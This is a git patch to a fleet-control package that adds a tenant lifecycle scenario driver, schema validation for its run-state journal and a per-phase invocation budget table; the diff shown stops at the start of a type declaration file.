Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 12 Sep 2026 03:49:39 +0400 Subject: [PATCH 132/169] feat(fleet-control): run the direct credentialed tenant scenario Add the Node scenario driver (runDirectCredentialedScenario) that sequences the tenant lifecycle phases over the durable run-state journal and carries settled proofs across resume instead of recomputing them. Invocation headroom is gated by a per-phase measured/ceiling/reserve budget table with a declared scenario floor; the array maxima are shared between the run-state schema and the driver, the journal byte bound rises to hold a scenario, and an array past its bound is refused. Convergence, traffic-distribution and migration-settlement predicates live in a pure checks module. The cleanup-receipt preimage and digest, and the tenant fixture object constants, move to shared modules the reference force action and the tenant worker import. Fixtures gain a run-state builder, and the reference harness gains a Node-side loopback fetch over its existing bridge with provider-REST and application-probe routing; the scenario, checks and run-state suites exercise the driver, the checks module and the scenario journal. Co-Authored-By: Claude Fable 5.1 --- .../direct-credentialed-run-state.d.mts | 51 + .../scripts/direct-credentialed-run-state.mjs | 749 +++++++++++- .../direct-credentialed-scenario-budget.d.mts | 37 + .../direct-credentialed-scenario-budget.mjs | 62 + .../direct-credentialed-scenario-checks.d.mts | 120 ++ .../direct-credentialed-scenario-checks.mjs | 166 +++ .../direct-credentialed-scenario.d.mts | 223 ++++ .../scripts/direct-credentialed-scenario.mjs | 1078 +++++++++++++++++ .../direct-credentialed-tenant-object.d.mts | 4 + .../direct-credentialed-tenant-object.mjs | 4 + .../scripts/direct-credentialed-tenant.ts | 21 +- .../scripts/direct-reference-force.ts | 36 +- .../scripts/direct-reference-receipt.d.mts | 11 + .../scripts/direct-reference-receipt.mjs | 41 + .../direct-credentialed-run-state.test.ts | 398 +++--- ...irect-credentialed-scenario-checks.test.ts | 528 ++++++++ .../test/direct-credentialed-scenario.test.ts | 891 ++++++++++++++ ...direct-credentialed-tenant.harness.test.ts | 14 +- .../test/fixtures/direct-observations.ts | 7 + .../test/fixtures/direct-reference-harness.ts | 249 +++- .../test/fixtures/direct-run-state-builder.ts | 531 ++++++++ 21 files changed, 5002 insertions(+), 219 deletions(-) create mode 100644 packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs create mode 100644 packages/fleet-control/scripts/direct-credentialed-scenario-checks.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs create mode 100644 packages/fleet-control/scripts/direct-credentialed-scenario.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-scenario.mjs create mode 100644 packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs create mode 100644 packages/fleet-control/scripts/direct-reference-receipt.d.mts create mode 100644 packages/fleet-control/scripts/direct-reference-receipt.mjs create mode 100644 packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts create mode 100644 packages/fleet-control/test/direct-credentialed-scenario.test.ts create mode 100644 packages/fleet-control/test/fixtures/direct-run-state-builder.ts diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts index 85a35118..02527524 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts @@ -2,6 +2,7 @@ import type { DirectConformanceNames } from './direct-credentialed-conformance-config.mjs'; import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; +import type { DirectScenarioState } from './direct-credentialed-scenario.mjs'; import type { DirectReferenceAction } from './direct-reference-contract.mjs'; export type DirectRunStateErrorCode = @@ -48,6 +49,7 @@ export interface DirectRunSnapshot { }>) | null; readonly bootstrap: DirectBootstrapState | null; + readonly scenario?: DirectScenarioState; } export interface DirectBootstrapContext { @@ -119,6 +121,7 @@ export interface DirectBootstrapState { export interface DirectRunJournal { readonly directory: string; snapshot(): DirectRunSnapshot; + recordScenario(state: DirectScenarioState): Promise; bindBootstrapContext(context: DirectBootstrapContext): Promise; beginBootstrapMutation(kind: DirectBootstrapMutation): Promise; confirmBootstrapMutation( @@ -134,6 +137,54 @@ export interface DirectRunJournal { close(): Promise; } +export const DIRECT_SCENARIO_FAILURES: readonly [ + 'observation-mismatch', + 'outcome-unknown', + 'proof-unavailable', + 'budget-exhausted', + 'invocation-budget-exhausted', + 'reference-refused', + 'invalid-input', + 'provider-unavailable', + 'journal-failed', + 'blocked', +]; + +export const DIRECT_SCENARIO_OPERATION_SLOTS: readonly [ + 'inventory-before', + 'inventory-after', + 'audit-before', + 'audit-after', + 'migration-next', + 'cleanup-a', + 'cleanup-b', + 'cleanup-recovery', + 'cleanup-recovery-initial', + 'decommission-a', + 'decommission-b', +]; + +export const DIRECT_RUN_MAX_JOURNAL_BYTES: number; + +export const DIRECT_SCENARIO_ARRAY_MAXIMA: Readonly<{ + health: number; + steps: number; + exportVerifications: number; + auditFindings: number; + footprintVersionIds: number; + inventory: Readonly<{ + databaseIds: number; + namespaceIds: number; + scriptNames: number; + bucketNames: number; + findings: number; + }>; +}>; + +export function actionSummary( + action: DirectReferenceAction, +): DirectRunActionSummary; + export function openDirectRunState( input: Readonly<{ configPath: string; diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs index 37ae6f02..b6ddedc0 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs @@ -7,6 +7,7 @@ import { lstat, mkdir, open, rename, rmdir, unlink } from 'node:fs/promises'; import { dirname, join, resolve } from 'node:path'; import PQueue from 'p-queue'; import { deriveDirectConformanceNames } from './direct-credentialed-conformance-config.mjs'; +import { DIRECT_SCENARIO_PHASES } from './direct-credentialed-scenario-budget.mjs'; import { DIRECT_REFERENCE_BODY_LIMIT, readDirectReferenceRequest, @@ -29,7 +30,21 @@ const SUMMARY_FIELDS = [ 'limit', 'afterOrdinal', ]; -const MAX_JOURNAL_BYTES = 16 * 1024; +export const DIRECT_RUN_MAX_JOURNAL_BYTES = 256 * 1024; +export const DIRECT_SCENARIO_ARRAY_MAXIMA = Object.freeze({ + health: 5, + steps: 64, + exportVerifications: 16, + auditFindings: 16, + footprintVersionIds: 8, + inventory: Object.freeze({ + databaseIds: 2, + namespaceIds: 4, + scriptNames: 2, + bucketNames: 2, + findings: 32, + }), +}); export class DirectRunStateError extends Error { constructor(code = 'invalid-state') { @@ -98,7 +113,7 @@ function bindingFromInput(input) { }); } -function actionSummary(action) { +export function actionSummary(action) { return Object.freeze( Object.fromEntries( SUMMARY_FIELDS.filter((key) => Object.hasOwn(action, key)).map((key) => [ @@ -109,6 +124,16 @@ function actionSummary(action) { ); } +function replayableAction(action) { + const result = { ...action }; + if ( + result.kind === 'cleanup-restart-blocked' || + result.kind === 'decommission-restart-blocked' + ) + result.token = null; + return result; +} + async function decodeRequest(serialized, configSha256) { if ( typeof serialized !== 'string' || @@ -130,7 +155,16 @@ async function decodeRequest(serialized, configSha256) { async function decodeSnapshot(value, binding) { const keys = ['version', 'binding', 'invocationCount', 'lastInvocation']; - object(value, value.version === 1 ? keys : [...keys, 'bootstrap']); + object( + value, + value.version === 1 + ? keys + : [ + ...keys, + 'bootstrap', + ...(Object.hasOwn(value, 'scenario') ? ['scenario'] : []), + ], + ); object(value.binding, Object.keys(binding)); if ( ![1, 2].includes(value.version) || @@ -161,17 +195,11 @@ async function decodeSnapshot(value, binding) { Object.hasOwn(last.action, 'token') ) invalid(); - const action = { ...last.action }; - if ( - action.kind === 'cleanup-restart-blocked' || - action.kind === 'decommission-restart-blocked' - ) - action.token = null; const decoded = await decodeRequest( JSON.stringify({ contractVersion: 1, configSha256: binding.configSha256, - action, + action: replayableAction(last.action), }), binding.configSha256, ); @@ -182,6 +210,10 @@ async function decodeSnapshot(value, binding) { state: last.state, }); } + const scenario = Object.hasOwn(value, 'scenario') + ? decodeScenario(value.scenario, value.invocationCount) + : undefined; + if (scenario) await validateScenarioActions(scenario, binding); return Object.freeze({ version: 2, binding, @@ -193,6 +225,7 @@ async function decodeSnapshot(value, binding) { value.invocationCount, lastInvocation, ), + ...(scenario ? { scenario } : {}), }); } @@ -212,13 +245,623 @@ function identifier(value, max = 128) { } function equalShape(value, expected) { - if (expected !== null && typeof expected === 'object') { + if (Array.isArray(expected)) { + if (!Array.isArray(value) || value.length !== expected.length) invalid(); + expected.forEach((entry, index) => { + equalShape(value[index], entry); + }); + } else if (expected !== null && typeof expected === 'object') { object(value, Object.keys(expected)); for (const key of Object.keys(expected)) equalShape(value[key], expected[key]); } else if (value !== expected) invalid(); } +export const DIRECT_SCENARIO_FAILURES = Object.freeze([ + 'observation-mismatch', + 'outcome-unknown', + 'proof-unavailable', + 'budget-exhausted', + 'invocation-budget-exhausted', + 'reference-refused', + 'invalid-input', + 'provider-unavailable', + 'journal-failed', + 'blocked', +]); + +export const DIRECT_SCENARIO_OPERATION_SLOTS = Object.freeze([ + 'inventory-before', + 'inventory-after', + 'audit-before', + 'audit-after', + 'migration-next', + 'cleanup-a', + 'cleanup-b', + 'cleanup-recovery', + 'cleanup-recovery-initial', + 'decommission-a', + 'decommission-b', +]); + +const scenarioNumber = (value) => { + if (!Number.isSafeInteger(value) || value < 0) invalid(); + return value; +}; +const scenarioId = (value) => { + if (typeof value !== 'string' || !/^[A-Za-z0-9_.:-]{1,128}$/u.test(value)) + invalid(); + return value; +}; +const scenarioEnum = + (...values) => + (value) => { + if (!values.includes(value)) invalid(); + return value; + }; +const nullable = (schema) => (value) => + value === null ? null : scenarioShape(value, schema); +const boundedArray = (schema, max) => (value) => { + if (!Array.isArray(value) || value.length > max) invalid(); + return Object.freeze(value.map((entry) => scenarioShape(entry, schema))); +}; +const OPTIONAL = Symbol('optional'); +const optional = (schema) => ({ [OPTIONAL]: schema }); +const optionalSchema = (field) => + field && typeof field === 'object' && OPTIONAL in field + ? field[OPTIONAL] + : null; +function scenarioShape(value, schema) { + if (typeof schema === 'function') return schema(value); + if (schema === null || typeof schema !== 'object') { + if (value !== schema) invalid(); + return value; + } + const fields = Object.entries(schema).filter( + ([key, field]) => + !optionalSchema(field) || + (Boolean(value) && + typeof value === 'object' && + Object.hasOwn(value, key)), + ); + object( + value, + fields.map(([key]) => key), + ); + return Object.freeze( + Object.fromEntries( + fields.map(([key, field]) => [ + key, + scenarioShape(value[key], optionalSchema(field) ?? field), + ]), + ), + ); +} +const scenarioDate = (value) => { + identifier(value, 32); + if ( + !Number.isFinite(Date.parse(value)) || + new Date(value).toISOString() !== value + ) + invalid(); + return value; +}; +const scenarioLocation = (value) => { + if ( + typeof value !== 'string' || + !/^r2:\/\/[A-Za-z0-9_./:-]{1,700}$/u.test(value) + ) + invalid(); + return value; +}; +const normalRole = scenarioEnum('a', 'b'); +const scenarioRole = scenarioEnum('a', 'b', 'recovery'); +const attemptsShape = { + provider: scenarioNumber, + maintenance: scenarioNumber, + application: scenarioNumber, +}; +const expectedVersionShape = { + role: scenarioRole, + versionId: scenarioId, + databaseId: scenarioId, + specDigest: digest, + applicationRelease: scenarioEnum('1', '2'), +}; +const workerVersionShape = { + ...expectedVersionShape, + accountId: scenarioId, + tenantTag: scenarioId, + environment: scenarioId, + scriptName: scenarioId, + currentDeployment: { + deploymentId: scenarioId, + activeVersionId: scenarioId, + versions: boundedArray( + { + versionId: scenarioId, + percentage: (value) => { + if ( + typeof value !== 'number' || + !Number.isFinite(value) || + value < 0 || + value > 100 + ) + invalid(); + return value; + }, + }, + 2, + ), + }, + trafficPercentage: scenarioEnum(0, 100), + cpuLimitMs: scenarioNumber, + subrequestLimit: scenarioNumber, + schemaVersion: scenarioEnum(1, 2), + namespaces: boundedArray( + { + binding: scenarioEnum('MAINTENANCE', 'RUNNER'), + className: scenarioEnum('Maintenance', 'Runner'), + namespaceId: scenarioId, + }, + 2, + ), + bucket: { + name: scenarioId, + jurisdiction: 'default', + creationDate: scenarioDate, + }, +}; +const receiptShape = { + version: 1, + authority: scenarioLocation, + databaseId: scenarioId, + operationId: scenarioId, +}; +const exportShape = { + verified: true, + role: normalRole, + receipt: receiptShape, + location: scenarioLocation, + size: scenarioNumber, + sha256: digest, + sourceInvocationOrdinal: scenarioNumber, +}; +const cleanupShape = { + version: 1, + operationId: scenarioId, + tenantTag: scenarioId, + environment: scenarioId, + backend: 'plain-worker', + scriptName: scenarioId, + databaseId: scenarioId, + databaseName: scenarioId, + authority: 'provisioning-rollback', + admittedPhase: scenarioId, + disposition: scenarioEnum( + 'prepublication-owned-no-export', + 'reservation-cleared', + ), + evidence: { + eligibility: scenarioEnum( + 'carrier-null', + 'legacy-phase-impossible', + 'reservation-only', + ), + ingressRemoved: true, + workerAbsent: true, + platformResourcesAbsent: true, + applicationR2Settled: true, + databaseAbsentReadback: true, + scan: optional({ + discover: { evidenceSha256: digest, evidenceCount: scenarioNumber }, + verify: { evidenceSha256: digest, evidenceCount: scenarioNumber }, + }), + }, + completedAtMs: scenarioNumber, +}; +const noEntries = boundedArray(scenarioId, 0); +const footprintShape = { + version: 1, + role: 'recovery', + beforeIdentitySha256: digest, + fleetRecordPresent: false, + deploymentClaimsPresent: false, + database: { id: scenarioId, expectedName: scenarioId, observedName: null }, + worker: { + scriptName: scenarioId, + scriptPresent: scenarioEnum(true, false), + workersDevEnabled: scenarioEnum(false, null), + previewUrlsEnabled: scenarioEnum(false, null), + customDomains: noEntries, + zoneRoutes: noEntries, + currentSecretNames: noEntries, + currentVersionIds: nullable( + boundedArray( + scenarioId, + DIRECT_SCENARIO_ARRAY_MAXIMA.footprintVersionIds, + ), + ), + currentNamespaceIds: boundedArray(scenarioId, 2), + survivingRecordedNamespaceIds: boundedArray(scenarioId, 2), + }, + buckets: boundedArray( + { + bindingName: 'PROBE_BUCKET', + bucketName: scenarioId, + jurisdiction: 'default', + expectedCreationDate: scenarioDate, + observedCreationDate: nullable(scenarioDate), + }, + 1, + ), + priorCleanup: { + operationId: scenarioId, + observedReceiptSha256: digest, + matchesBefore: true, + }, +}; +const operationSlots = scenarioEnum(...DIRECT_SCENARIO_OPERATION_SLOTS); +const processShape = { + pid: scenarioNumber, + startTicks: scenarioId, + bootId: scenarioId, +}; +const decommissionShape = { + operationId: scenarioId, + databaseId: scenarioId, + scriptName: scenarioId, + phase: 'decommissioned', +}; +const callShape = { + ordinal: scenarioNumber, + action: (value) => { + if ( + !value || + typeof value !== 'object' || + Array.isArray(value) || + Object.keys(value).some((key) => !SUMMARY_FIELDS.includes(key)) + ) + invalid(); + const result = {}; + for (const [key, field] of Object.entries(value)) + result[key] = + key === 'limit' || key === 'afterOrdinal' + ? scenarioNumber(field) + : scenarioId(field); + if (typeof value.kind !== 'string') invalid(); + return Object.freeze(result); + }, + outcome: scenarioEnum( + 'prepared', + 'returned', + 'injected-response-loss', + 'reference-refused', + ), + attempts: nullable(attemptsShape), + migration: nullable({ + itemOrdinal: scenarioEnum(0, 1), + cursor: scenarioNumber, + step: scenarioId, + itemsSha256: digest, + }), +}; +const inventoryShape = { + operationId: scenarioId, + generation: scenarioNumber, + calls: scenarioNumber, + databaseIds: boundedArray( + scenarioId, + DIRECT_SCENARIO_ARRAY_MAXIMA.inventory.databaseIds, + ), + namespaceIds: boundedArray( + scenarioId, + DIRECT_SCENARIO_ARRAY_MAXIMA.inventory.namespaceIds, + ), + scriptNames: boundedArray( + scenarioId, + DIRECT_SCENARIO_ARRAY_MAXIMA.inventory.scriptNames, + ), + bucketNames: boundedArray( + scenarioId, + DIRECT_SCENARIO_ARRAY_MAXIMA.inventory.bucketNames, + ), + findings: boundedArray( + { kind: scenarioId, detailSha256: digest }, + DIRECT_SCENARIO_ARRAY_MAXIMA.inventory.findings, + ), +}; +const auditShape = { + operationId: scenarioId, + generation: scenarioNumber, + recordCount: 2, + findingCount: scenarioNumber, + finalizedAtMs: scenarioNumber, + findings: boundedArray( + { + tenantTag: scenarioId, + environment: scenarioId, + kind: scenarioId, + detailSha256: digest, + }, + DIRECT_SCENARIO_ARRAY_MAXIMA.auditFindings, + ), +}; +function decodeScenario(value, invocationCount) { + const result = scenarioShape(value, { + version: 1, + phase: scenarioEnum(...DIRECT_SCENARIO_PHASES), + startedOrdinal: scenarioNumber, + callCount: scenarioNumber, + phaseCalls: Object.fromEntries( + DIRECT_SCENARIO_PHASES.map((phase) => [phase, scenarioNumber]), + ), + attempts: attemptsShape, + sdkRequests: scenarioNumber, + inventoryCalls: { before: scenarioNumber, after: scenarioNumber }, + lastCall: nullable(callShape), + mutation: nullable(callShape), + reconciledOrdinal: scenarioNumber, + operations: boundedArray( + { + slot: operationSlots, + operationId: nullable(scenarioId), + inputSha256: digest, + tokenRevision: nullable(scenarioNumber), + }, + 11, + ), + records: boundedArray( + { + role: scenarioRole, + present: scenarioEnum(true, false), + phase: nullable(scenarioId), + desiredSpecDigest: nullable(digest), + pendingSpecDigest: nullable(digest), + artifactVersion: nullable(scenarioId), + pendingArtifactVersion: nullable(scenarioId), + databaseId: nullable(scenarioId), + }, + 3, + ), + failure: nullable({ + code: scenarioEnum(...DIRECT_SCENARIO_FAILURES), + ordinal: scenarioNumber, + }), + proofs: { + initial: { + a: nullable(workerVersionShape), + b: nullable(workerVersionShape), + recovery: nullable(workerVersionShape), + }, + candidate: { + a: nullable(workerVersionShape), + b: nullable(workerVersionShape), + }, + final: { + a: nullable(workerVersionShape), + b: nullable(workerVersionShape), + }, + objects: { + a: nullable({ size: scenarioNumber, sha256: digest }), + b: nullable({ size: scenarioNumber, sha256: digest }), + }, + objectDeletions: { + a: nullable(scenarioNumber), + b: nullable(scenarioNumber), + }, + recoveryExportAbsent: { + beforeOrdinal: nullable(scenarioNumber), + afterOrdinal: nullable(scenarioNumber), + }, + health: boundedArray( + { + role: scenarioRole, + release: scenarioEnum('1', '2'), + marker: scenarioEnum('initial', 'next'), + ordinal: scenarioNumber, + }, + DIRECT_SCENARIO_ARRAY_MAXIMA.health, + ), + inventories: { + before: nullable(inventoryShape), + after: nullable(inventoryShape), + }, + audits: { before: nullable(auditShape), after: nullable(auditShape) }, + restart: nullable({ + process: processShape, + resumedProcess: nullable(processShape), + lossOrdinal: scenarioNumber, + operationId: scenarioId, + witnessSha256: digest, + claimSha256: digest, + successorSha256: digest, + itemsSha256: digest, + replayOrdinal: nullable(scenarioNumber), + }), + steps: boundedArray( + { + ordinal: scenarioNumber, + itemOrdinal: scenarioEnum(0, 1), + step: scenarioId, + beforeCursor: scenarioNumber, + afterCursor: scenarioNumber, + provider: scenarioNumber, + maintenance: scenarioNumber, + application: scenarioNumber, + }, + DIRECT_SCENARIO_ARRAY_MAXIMA.steps, + ), + effects: boundedArray( + { + role: normalRole, + tenantTag: scenarioId, + environment: scenarioId, + scriptName: scenarioId, + databaseId: scenarioId, + versionId: scenarioId, + specDigest: digest, + schemaVersion: 2, + settlementKey: digest, + identitySha256: digest, + provenanceSha256: digest, + }, + 2, + ), + cleanup: nullable(cleanupShape), + exports: { a: nullable(exportShape), b: nullable(exportShape) }, + exportVerifications: boundedArray( + exportShape, + DIRECT_SCENARIO_ARRAY_MAXIMA.exportVerifications, + ), + decommission: { + a: nullable(decommissionShape), + b: nullable(decommissionShape), + }, + force: nullable(footprintShape), + residual: nullable(footprintShape), + }, + }); + if ( + result.startedOrdinal > invocationCount || + result.callCount > invocationCount - result.startedOrdinal || + Object.values(result.phaseCalls).reduce( + (total, count) => total + count, + 0, + ) !== result.callCount + ) + invalid(); + for (const call of [result.lastCall, result.mutation]) { + if (!call) continue; + if ( + call.ordinal > invocationCount + (call.outcome === 'prepared' ? 1 : 0) || + call.ordinal < 1 || + (call.outcome === 'prepared') !== (call.attempts === null) + ) + invalid(); + } + for (const proof of Object.values(result.proofs.exports)) + if ( + proof && + (proof.sourceInvocationOrdinal < 1 || + proof.sourceInvocationOrdinal > invocationCount || + proof.size < 1) + ) + invalid(); + if ( + new Set(result.operations.map((entry) => entry.slot)).size !== + result.operations.length || + new Set(result.records.map((entry) => entry.role)).size !== + result.records.length + ) + invalid(); + validateScenarioProofs(result, invocationCount); + return result; +} + +function validateScenarioProofs(state, invocationCount) { + const proof = state.proofs; + const past = (phase) => + DIRECT_SCENARIO_PHASES.indexOf(state.phase) > + DIRECT_SCENARIO_PHASES.indexOf(phase); + const need = (condition) => { + if (!condition) invalid(); + }; + for (const role of ['a', 'b', 'recovery']) { + if (past(`provision-${role}`)) + need( + proof.initial[role] && + proof.health.some( + (entry) => + entry.role === role && + entry.release === '1' && + entry.marker === 'initial', + ), + ); + if (role === 'recovery') continue; + if (past(`provision-${role}`)) need(proof.objects[role]); + if (past('migration')) + need( + proof.candidate[role]?.trafficPercentage === 0 && + proof.final[role]?.trafficPercentage === 100 && + proof.steps.some( + (entry) => + entry.itemOrdinal === (role === 'a' ? 0 : 1) && + entry.step === 'arm-maintenance' && + entry.maintenance > 0, + ), + ); + if (past('post-migration')) + need( + proof.health.some( + (entry) => + entry.role === role && + entry.release === '2' && + entry.marker === 'next', + ), + ); + if (past('delete-objects')) need(proof.objectDeletions[role] > 0); + if (past(`decommission-${role}`)) + need(proof.exports[role] && proof.decommission[role]); + } + for (const when of ['before', 'after']) { + if (past(`inventory-${when}`)) need(proof.inventories[when]?.calls > 1); + if (past(`audit-${when}`)) + need( + proof.audits[when]?.recordCount === 2 && + proof.audits[when].findingCount === + proof.audits[when].findings.length && + proof.audits[when].generation === proof.inventories[when].generation, + ); + } + if (past('migration-interrupt')) need(proof.restart); + if (past('migration-restart')) + need(proof.restart?.replayOrdinal && proof.restart.resumedProcess); + if (past('migration')) need(proof.effects.length === 2); + if (past('cleanup-recovery')) need(proof.cleanup); + if (past('force-recovery')) + need(proof.recoveryExportAbsent.beforeOrdinal > 0); + if (past('force-observe')) + need(proof.force && proof.recoveryExportAbsent.afterOrdinal > 0); + if (past('recover-force-residual')) need(proof.residual); + for (const ordinal of [ + state.reconciledOrdinal, + ...Object.values(proof.objectDeletions), + ...Object.values(proof.recoveryExportAbsent), + ...proof.health.map((entry) => entry.ordinal), + ...proof.steps.map((entry) => entry.ordinal), + ]) + if (ordinal !== null) need(ordinal <= invocationCount); + if (proof.restart) { + need( + proof.restart.lossOrdinal > 0 && + proof.restart.lossOrdinal <= invocationCount, + ); + if (proof.restart.replayOrdinal !== null) + need( + proof.restart.replayOrdinal > proof.restart.lossOrdinal && + proof.restart.replayOrdinal <= invocationCount && + proof.restart.resumedProcess && + JSON.stringify(proof.restart.process) !== + JSON.stringify(proof.restart.resumedProcess), + ); + } +} + +async function validateScenarioActions(state, binding) { + for (const call of [state.lastCall, state.mutation]) { + if (!call) continue; + await decodeRequest( + JSON.stringify({ + contractVersion: 1, + configSha256: binding.configSha256, + action: replayableAction(call.action), + }), + binding.configSha256, + ); + } +} + function bootstrapContext(value, binding) { object(value, [ 'names', @@ -472,7 +1115,7 @@ async function readSnapshot(path, binding) { try { const stat = await handle.stat(); assertPrivate(stat, false); - if (stat.size < 1 || stat.size > MAX_JOURNAL_BYTES) invalid(); + if (stat.size < 1 || stat.size > DIRECT_RUN_MAX_JOURNAL_BYTES) invalid(); const bytes = Buffer.alloc(stat.size); let offset = 0; while (offset < bytes.length) { @@ -509,7 +1152,7 @@ async function writeSnapshot(directory, handle, snapshot) { created = true; assertPrivate(await file.stat(), false); const serialized = `${JSON.stringify(snapshot)}\n`; - if (Buffer.byteLength(serialized) > MAX_JOURNAL_BYTES) invalid(); + if (Buffer.byteLength(serialized) > DIRECT_RUN_MAX_JOURNAL_BYTES) invalid(); await file.writeFile(serialized); await file.sync(); await file.close(); @@ -620,6 +1263,86 @@ function runJournal(directory, directoryHandle, base, lock, initial) { snapshot() { return snapshot; }, + recordScenario(value) { + return enqueue(async () => { + assertSettled(); + const scenario = decodeScenario(value, snapshot.invocationCount); + await validateScenarioActions(scenario, snapshot.binding); + if (!snapshot.bootstrap?.controlReadOrdinal) invalid(); + const previous = snapshot.scenario; + if (previous) { + if ( + scenario.startedOrdinal !== previous.startedOrdinal || + scenario.callCount < previous.callCount || + DIRECT_SCENARIO_PHASES.indexOf(scenario.phase) < + DIRECT_SCENARIO_PHASES.indexOf(previous.phase) || + DIRECT_SCENARIO_PHASES.indexOf(scenario.phase) > + DIRECT_SCENARIO_PHASES.indexOf(previous.phase) + 1 + ) + invalid(); + for (const kind of ['provider', 'maintenance', 'application']) + if (scenario.attempts[kind] < previous.attempts[kind]) invalid(); + if (scenario.sdkRequests < previous.sdkRequests) invalid(); + for (const phase of DIRECT_SCENARIO_PHASES) + if (scenario.phaseCalls[phase] < previous.phaseCalls[phase]) + invalid(); + for (const group of [ + 'initial', + 'candidate', + 'final', + 'objects', + 'objectDeletions', + 'recoveryExportAbsent', + 'inventories', + 'audits', + 'decommission', + ]) + for (const [key, proof] of Object.entries(previous.proofs[group])) + if (proof !== null) + equalShape(scenario.proofs[group][key], proof); + for (const key of ['cleanup', 'force', 'residual']) + if (previous.proofs[key] !== null) + equalShape(scenario.proofs[key], previous.proofs[key]); + if (previous.failure) equalShape(scenario.failure, previous.failure); + if (previous.proofs.restart) { + const { resumedProcess, replayOrdinal, ...fixed } = + previous.proofs.restart; + for (const [key, expected] of Object.entries(fixed)) + equalShape(scenario.proofs.restart?.[key], expected); + if (replayOrdinal !== null) { + equalShape(scenario.proofs.restart.replayOrdinal, replayOrdinal); + equalShape( + scenario.proofs.restart.resumedProcess, + resumedProcess, + ); + } + } + for (const role of ['a', 'b']) { + if (previous.proofs.exports[role]) { + const { sourceInvocationOrdinal, ...proof } = + previous.proofs.exports[role]; + const { sourceInvocationOrdinal: freshOrdinal, ...freshProof } = + scenario.proofs.exports[role] ?? {}; + equalShape(freshProof, proof); + if (freshOrdinal < sourceInvocationOrdinal) invalid(); + } + } + for (const key of [ + 'steps', + 'effects', + 'health', + 'exportVerifications', + ]) { + if (scenario.proofs[key].length < previous.proofs[key].length) + invalid(); + previous.proofs[key].forEach((proof, index) => { + equalShape(scenario.proofs[key][index], proof); + }); + } + } + await publish(Object.freeze({ ...snapshot, scenario })); + }); + }, bindBootstrapContext(context) { return enqueue(async () => { assertSettled(); diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts new file mode 100644 index 00000000..2250bb55 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: Apache-2.0 + +export const DIRECT_SCENARIO_PHASES: readonly [ + 'provision-a', + 'provision-b', + 'inventory-before', + 'audit-before', + 'migration-start', + 'migration-interrupt', + 'migration-restart', + 'migration', + 'post-migration', + 'inventory-after', + 'audit-after', + 'failed-recovery', + 'cleanup-recovery', + 'provision-recovery', + 'delete-objects', + 'decommission-a', + 'decommission-b', + 'force-recovery', + 'force-observe', + 'recover-force-residual', + 'complete', +]; + +export interface DirectScenarioPhaseBudget { + readonly measured: number; + readonly ceiling: number; + readonly reserve: number; +} + +export const DIRECT_SCENARIO_INVOCATION_BUDGET: Readonly< + Record<(typeof DIRECT_SCENARIO_PHASES)[number], DirectScenarioPhaseBudget> +>; + +export const DIRECT_SCENARIO_MIN_INVOCATIONS: number; diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs new file mode 100644 index 00000000..fb63f4de --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: Apache-2.0 + +// `measured` is what a phase spends in one uninterrupted end-to-end run, recorded +// as data. `ceiling` is 2x measured rounded up to a multiple of 8, minimum 16: the +// cumulative cap on one phase across resumes, wide enough for re-entries that each +// repeat the entry `sync()` and its observation. Ceilings bound a runaway phase and +// may sum past the configured budget, because they are a cap and not a reservation. +// `reserve` is 1.25x measured rounded up to a multiple of 4, minimum 4; its suffix +// sum from a phase onward is what the entry gate holds back, so a run that cannot +// finish refuses before it strands provisioned infrastructure. +// DIRECT_SCENARIO_MIN_INVOCATIONS adds the bootstrap control read and resume +// headroom to that total: it is the floor `referenceWorker.maxInvocations` clears. +const MEASURED = Object.freeze({ + 'provision-a': 10, + 'provision-b': 9, + 'inventory-before': 22, + 'audit-before': 57, + 'migration-start': 3, + 'migration-interrupt': 5, + 'migration-restart': 7, + migration: 105, + 'post-migration': 5, + 'inventory-after': 22, + 'audit-after': 57, + 'failed-recovery': 4, + 'cleanup-recovery': 12, + 'provision-recovery': 7, + 'delete-objects': 7, + 'decommission-a': 70, + 'decommission-b': 70, + 'force-recovery': 6, + 'force-observe': 3, + 'recover-force-residual': 3, + complete: 1, +}); + +const roundUp = (value, step) => Math.ceil(value / step) * step; + +export const DIRECT_SCENARIO_INVOCATION_BUDGET = Object.freeze( + Object.fromEntries( + Object.entries(MEASURED).map(([phase, measured]) => [ + phase, + Object.freeze({ + measured, + ceiling: Math.max(16, roundUp(2 * measured, 8)), + reserve: Math.max(4, roundUp(1.25 * measured, 4)), + }), + ]), + ), +); + +export const DIRECT_SCENARIO_PHASES = Object.freeze( + Object.keys(DIRECT_SCENARIO_INVOCATION_BUDGET), +); + +export const DIRECT_SCENARIO_MIN_INVOCATIONS = + Object.values(DIRECT_SCENARIO_INVOCATION_BUDGET).reduce( + (total, entry) => total + entry.reserve, + 0, + ) + + 1 + + 8; diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-checks.d.mts b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.d.mts new file mode 100644 index 00000000..3b993337 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.d.mts @@ -0,0 +1,120 @@ +// 